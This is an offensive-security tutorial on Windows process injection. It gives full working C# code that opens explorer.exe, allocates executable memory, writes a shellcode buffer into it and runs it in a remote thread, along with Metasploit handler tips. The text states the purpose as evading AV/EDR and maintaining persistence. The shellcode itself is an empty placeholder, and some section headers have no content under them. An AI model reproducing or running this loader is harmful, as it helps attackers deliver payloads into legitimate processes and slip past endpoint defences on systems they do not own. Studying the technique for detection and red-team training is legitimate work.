Process injection is a technique used to inject code into a running process on a target machine. This can be done to evade AV/EDRs as well as maintaining persistence on a target machine.
This technique leverages the following below kernel32 APIs.
Win32 Api's
- Open the target process
- To allocate memory within the target process.
- To copy shellcode to target
- To execute shellcode
Optional
- Get a handle to the target process
Use EXITFUNC=thread in msfvenom payload to not kill parent process on exit
Also setting it in multi/handler
msf6 exploit(multi/handler) > set exitfunc thread
Walkthrough
First, we will need to get a handle on the remote process.
Secondly, we open a handle to that process.
We then need to allocate memory within the target process.
We can then copy our shellcode into the memory address.
Lastly, we need to execute the shellcode in the remote thread.
Code
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace process_inject
{
public class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetLastError();
public static void Main(string[] args)
{
byte[] buf = new byte[1024];
int pid = 0;
string targetProcess = "explorer";
Console.WriteLine("********************************");
try
{
Process[] process = Process.GetProcessesByName(targetProcess);
pid = process[0].Id;
Console.WriteLine($"[i] Remote process pid: {pid}");
}
catch (Exception ex)
{
Console.WriteLine($"[!] ERROR Unable to get process id for {targetProcess}: {ex.Message}");
return;
}
Console.WriteLine($"[i] Opening remote process pid: {pid}");
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
if (hProcess == IntPtr.Zero)
{
Console.WriteLine($"[!] ERROR Unable to open remote thread: {GetLastError()}");
return;
}
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
Console.WriteLine($"[i] Memory allocated at 0x{addr.ToString("X")}");
if (addr == IntPtr.Zero)
{
Console.WriteLine($"[!] ERROR Unable to allocate memory: {GetLastError()}");
return;
}
if (!WriteProcessMemory(hProcess, addr, buf, buf.Length, out var outSize))
{
Console.WriteLine($"[!] ERROR WriteProcessMemory failed: {GetLastError()}");
return;
}
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
if (hThread == IntPtr.Zero)
{
Console.WriteLine($"[!] ERROR CreateRemoteThread failed: {GetLastError()}");
return;
}
Console.WriteLine($"[i] hThread created!!");
WaitForSingleObject(hThread, 0xFFFFFFFF);
Console.ReadLine();
}
}
}
Detection and AV
Detection on nt-PInject code without shellcode:
Details
Getting a handle to the target process
Target process for this example explorer.exe
Getting a handle on explorer process that we will inject into:
hProcess our process handle retrieved from OpenProcess
lpThreadAttributes we can set this to zero to accept the default values
dwStackSize we can set this to zero, the new thread uses the default size for the executable
lpStardAdress this is the address of the buffer we allocated with VirtualAllocEx
lpParameter is a pointer to variables which be passed to the thread function pointed by lpStartAddress, since our shellcode does not need any parameters, we can pass a NULL here
dwCreationFlags allows creating the thread in a suspended state, we don't need it so we can set this to zero
lpThreadId a pointer to a variable that receives ther thread identifies, we can set to NULL